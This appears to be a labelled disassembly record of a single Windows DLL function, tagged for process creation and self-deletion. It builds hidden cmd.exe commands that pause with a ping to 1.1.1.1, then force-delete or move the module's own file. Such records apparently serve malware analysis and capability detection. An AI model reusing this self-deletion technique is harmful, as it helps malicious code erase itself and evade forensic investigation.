Function at 0x180002420
Capabilities:
Create process on windows
Get common file path
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x18002e040]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov edi, edx
mov r8d, 0x104
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0xf0]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180002475
mov eax, dword [str..bak]
lea r14, [0x180030550]
mov dword [rcx], eax
xor r15d, r15d
movzx eax, byte [0x18002ac58]
mov byte [rcx + 4], al
mov ecx, r15d
nop
movzx eax, byte [rbp + rcx + 0xf0]
mov byte [rcx + r14], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800024a0
lea rcx, [rsp + 0x50]
call fcn.180001070
mov rsi, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov rbx, qword [rsp + 0x50]
lea rdx, [0x180030710]
cmp rsi, 0xf
cmova rax, rbx
sub rdx, rax
nop
movzx ecx, byte [rax]
mov byte [rdx + rax], cl
lea rax, [rax + 1]
test cl, cl
jne 0x1800024e0
test edi, edi
je 0x180002505
cmp edi, 1
jne 0x180002753
call fcn.1800021e0
jmp 0x180002753
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rcx, [rbp - 0x20]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x180002520
movzx eax, word [0x18002abc8]
lea r8, [rbp - 0x20]
movsd xmm0, qword [0x18002abc0]
lea rdx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
movsd qword [rcx], xmm0
xorps xmm0, xmm0
mov word [rcx + 8], ax
movzx eax, byte [0x18002abca]
mov byte [rcx + 0xa], al
xor eax, eax
lea rcx, [rbp + 0x200]
mov qword [rbp - 0x30], rax
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.1800029f0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x200]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
lea rdx, [rbp - 0x20]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rbp - 0x30], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp - 0x20]
lea rdx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea rcx, [rbp + 0x200]
call fcn.1800029f0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x200]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x180030540], r15b
je 0x180002753
mov r8d, 0x104
lea rdx, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp - 0x20]
mov r8, r14
lea r9, [rbp - 0x20]
mov qword [rsp + 0x20], rax
lea rdx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__move___s____s_____s_
lea rcx, [rbp + 0x200]
call fcn.1800029f0
xorps xmm0, xmm0
lea rdx, [rbp + 0x200]
xor eax, eax
xor r9d, r9d
mov qword [rbp - 0x30], rax
xor r8d, r8d
mov qword [rsp + 0x60], rax
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r15d
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rsi, 0xf
jbe 0x180002786
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18000277e
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800027b7
mov rcx, rbx
call fcn.180006a4c
mov eax, 1
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.180006a00
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.18000da4c
int3